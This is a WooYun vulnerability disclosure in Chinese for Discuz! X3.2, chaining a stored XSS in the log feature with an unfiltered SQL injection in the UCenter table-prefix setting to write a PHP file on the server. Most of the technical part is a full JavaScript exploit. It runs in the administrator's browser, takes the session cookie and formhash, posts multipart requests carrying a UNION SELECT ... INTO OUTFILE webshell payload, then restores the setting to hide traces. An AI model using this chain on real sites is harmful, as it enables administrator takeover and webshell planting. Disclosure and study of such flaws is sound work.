当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-076006

漏洞标题:Discuz!x xss反弹后台无防御sql注入getshell(附带exploit)

相关厂商:Discuz!

漏洞作者: menmen519

提交时间:2014-09-13 19:48

修复时间:2014-12-12 19:50

公开时间:2014-12-12 19:50

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-13: 细节已通知厂商并且等待厂商处理中
2014-09-15: 厂商已经确认,细节仅向厂商公开
2014-09-18: 细节向第三方安全合作伙伴开放
2014-11-09: 细节向核心白帽子及相关领域专家公开
2014-11-19: 细节向普通白帽子公开
2014-11-29: 细节向实习白帽子公开
2014-12-12: 细节向公众公开

简要描述:

Discuz!x xss反弹后台无防御sql注入getshell,这里的xss只是做一个药引子,因为xss来自日志功能,然而这个日志功能却又默认关闭的,为了测试我们开启它。这个漏洞应该是所有dz通杀的,我下载了最新版本的所以测试通过......

详细说明:

首先我们开启日志功能,然后存储一个xss看看:
测试一个xss页面:

19.png


我们调到文章页面看看,是否被执行了:

20.png


下来我们看看怎样把这个发给管理员呢,底下有一个举报页面:

21.png


我们以管理员的身份看看这个后台的举报请求:

22.png


这个过程我们分析完毕了,下来我们看看后台一处,无防御的sql注入:

23.png


我们这里就不分析代码了,这里代码好曲折啊,大致思路我们给一张图,就可以看清楚
1.设置表前缀,抓包重放如下:

24.png


2.然后我们改一下表前缀的注入:

25.png


3.我们来监控一下,sql语句的执行过程,我们就明白了,这个漏洞产生的原因

a.当你第一次点击的时候,这个sql语句不会执行,然后你多提交几次,就可以了
b.数据第一次流进了这个表:

26.png


看以看出来,做了过滤
c.但是当数据取出来的时候,这个就没有在进行转义,直接从数据库获取,所以造成漏洞:

27.png


那么我们去这个目录看看是否生成了我们想要的shell:

28.png


这么一来所有的来龙去买我们都搞清楚了,那么怎么样把这两个组合起来,因为有表单hash的存在我们怎么通过xss搞定,思路如下:
1.我们通过ajax 首先对表单页面进行一次get访问,大家都知道dz会隐藏的形式写进表单的一个字段为formhash
2.有了这个formhash的话我们就可以,再次发送ajax请求,直接发送五次然后geshell
3.有人要问为什么要发送五次,这三次分别是什么
a.第一次是get请求获取formhash
b.第二,三次是发送构造的包,因为这第一次发送,是不会成功的,它要利用上次的发包,再二次构造,所以这里面发两次才能产生shell
c.第四,五次请求就是还原人家本来的面目,这里原理是相同的
接下来看我们的代码:
我们在远端的服务器放置的js内容如下:

function ajax(){
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
} else if(window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i<versions.length; i++) {
try {
request = new ActiveXObject(versions[i]);
} catch(e) {}
}
}
return request;
}
var formhash = '';
var cookie = document.cookie;
var _x = ajax();
request_get();
function request_get() {
src="http://192.168.10.70/Discuz_X3.2_SC_UTF8/upload/admin.php?action=misc&operation=custommenu";
data="";
xhr_act("GET",src,data);
}
function sleep(n){
var start=new Date().getTime();
while(true) if(new Date().getTime()-start>n) break;
}
function request_post(flag) {
src="http://192.168.10.70/Discuz_X3.2_SC_UTF8/upload/admin.php?action=setting&edit=yes";
if(flag == 1){
data='\r\n-----------------------------2137124919446\r\nContent-Disposition: form-data; name="formhash"\r\n\r\n3cf53a8d\r\n-----------------------------2137124919446\r\nContent-Disposition: form-data; name="scrolltop"\r\n\r\n\r\n-----------------------------2137124919446\r\nContent-Disposition: form-data; name="anchor"\r\n\r\n\r\n-----------------------------2137124919446\r\nContent-Disposition: form-data; name="operation"\r\n\r\nuc\r\n-----------------------------2137124919446\r\nContent-Disposition: form-data; name="settingnew[uc][appid]"\r\n\r\n1\r\n-----------------------------2137124919446\r\nContent-Disposition: form-data; name="settingnew[uc][key]"\r\n\r\n********\r\n-----------------------------2137124919446\r\nContent-Disposition: form-data; name="settingnew[uc][api]"\r\n\r\nhttp://192.168.10.70/Discuz_X3.2_SC_UTF8/upload/uc_server\r\n-----------------------------2137124919446\r\nContent-Disposition: form-data; name="settingnew[uc][ip]"\r\n\r\n\r\n-----------------------------2137124919446\r\nContent-Disposition: form-data; name="settingnew[uc][connect]"\r\n\r\nmysql\r\n-----------------------------2137124919446\r\nContent-Disposition: form-data; name="settingnew[uc][dbhost]"\r\n\r\nlocalhost\r\n-----------------------------2137124919446\r\nContent-Disposition: form-data; name="settingnew[uc][dbuser]"\r\n\r\nroot\r\n-----------------------------2137124919446\r\nContent-Disposition: form-data; name="settingnew[uc][dbpass]"\r\n\r\n********\r\n-----------------------------2137124919446\r\nContent-Disposition: form-data; name="settingnew[uc][dbname]"\r\n\r\nultrax\r\n-----------------------------2137124919446\r\nContent-Disposition: form-data; name="settingnew[uc][dbtablepre]"\r\n\r\npre_ucenter_vars union select \'<?php phpinfo()?>\' into outfile \'D:/APMSERVER/APMServ5.2.6/www/htdocs/Discuz_X3.2_SC_UTF8/upload/data/shell.php\'#\r\n-----------------------------2137124919446\r\nContent-Disposition: form-data; name="settingnew[ucactivation]"\r\n\r\n1\r\n-----------------------------2137124919446\r\nContent-Disposition: form-data; name="settingnew[fastactivation]"\r\n\r\n0\r\n-----------------------------2137124919446\r\nContent-Disposition: form-data; name="settingnew[avatarmethod]"\r\n\r\n0\r\n-----------------------------2137124919446\r\nContent-Disposition: form-data; name="settingsubmit"\r\n\r\n提交\r\n-----------------------------2137124919446--';
}else{
data='\r\n-----------------------------2137124919446\r\nContent-Disposition: form-data; name="formhash"\r\n\r\n3cf53a8d\r\n-----------------------------2137124919446\r\nContent-Disposition: form-data; name="scrolltop"\r\n\r\n\r\n-----------------------------2137124919446\r\nContent-Disposition: form-data; name="anchor"\r\n\r\n\r\n-----------------------------2137124919446\r\nContent-Disposition: form-data; name="operation"\r\n\r\nuc\r\n-----------------------------2137124919446\r\nContent-Disposition: form-data; name="settingnew[uc][appid]"\r\n\r\n1\r\n-----------------------------2137124919446\r\nContent-Disposition: form-data; name="settingnew[uc][key]"\r\n\r\n********\r\n-----------------------------2137124919446\r\nContent-Disposition: form-data; name="settingnew[uc][api]"\r\n\r\nhttp://192.168.10.70/Discuz_X3.2_SC_UTF8/upload/uc_server\r\n-----------------------------2137124919446\r\nContent-Disposition: form-data; name="settingnew[uc][ip]"\r\n\r\n\r\n-----------------------------2137124919446\r\nContent-Disposition: form-data; name="settingnew[uc][connect]"\r\n\r\nmysql\r\n-----------------------------2137124919446\r\nContent-Disposition: form-data; name="settingnew[uc][dbhost]"\r\n\r\nlocalhost\r\n-----------------------------2137124919446\r\nContent-Disposition: form-data; name="settingnew[uc][dbuser]"\r\n\r\nroot\r\n-----------------------------2137124919446\r\nContent-Disposition: form-data; name="settingnew[uc][dbpass]"\r\n\r\n********\r\n-----------------------------2137124919446\r\nContent-Disposition: form-data; name="settingnew[uc][dbname]"\r\n\r\nultrax\r\n-----------------------------2137124919446\r\nContent-Disposition: form-data; name="settingnew[uc][dbtablepre]"\r\n\r\npre_ucenter_\r\n-----------------------------2137124919446\r\nContent-Disposition: form-data; name="settingnew[ucactivation]"\r\n\r\n1\r\n-----------------------------2137124919446\r\nContent-Disposition: form-data; name="settingnew[fastactivation]"\r\n\r\n0\r\n-----------------------------2137124919446\r\nContent-Disposition: form-data; name="settingnew[avatarmethod]"\r\n\r\n0\r\n-----------------------------2137124919446\r\nContent-Disposition: form-data; name="settingsubmit"\r\n\r\n提交\r\n-----------------------------2137124919446--';
}

xhr_act("POST",src,data);
}

function xhr_act(_m,_s,_a){
if(_m == "GET"){
_x.open(_m,_s,false);
_x.setRequestHeader("Cookie",cookie);
_x.send();
var document_str = _x.responseText;
var basestr = 'name="formhash" value="';
var formhashpos = basestr.indexOf(basestr);
var realpos = formhashpos + basestr.length;
formhash = basestr.substr(realpos,8);
if(formhash){
var count_0 = 3;
var count_1 = 3;
for(var i=0;i<count_0;i++)
request_post(1)

sleep(1000);

for(var j=0;j<count_1;i++)
request_post(0)
}

}else{
_x.open(_m,_s,false);
_x.setRequestHeader("Content-Type","multipart/form-data; boundary=---------------------------2137124919446");
_x.setRequestHeader("Cookie",cookie);
_x.send(_a);
return _x.responseText;
}
}


然后依照刚才的解法,我们应该在那个目录下生成了一个shell.php

29.png


最后我们的站点还是可以正常访问,不留痕迹
到此为止所有的东西已经做完.............

漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-09-15 10:39

厂商回复:

感谢您对我们产品的支持,我们会尽快处理。

最新状态:

暂无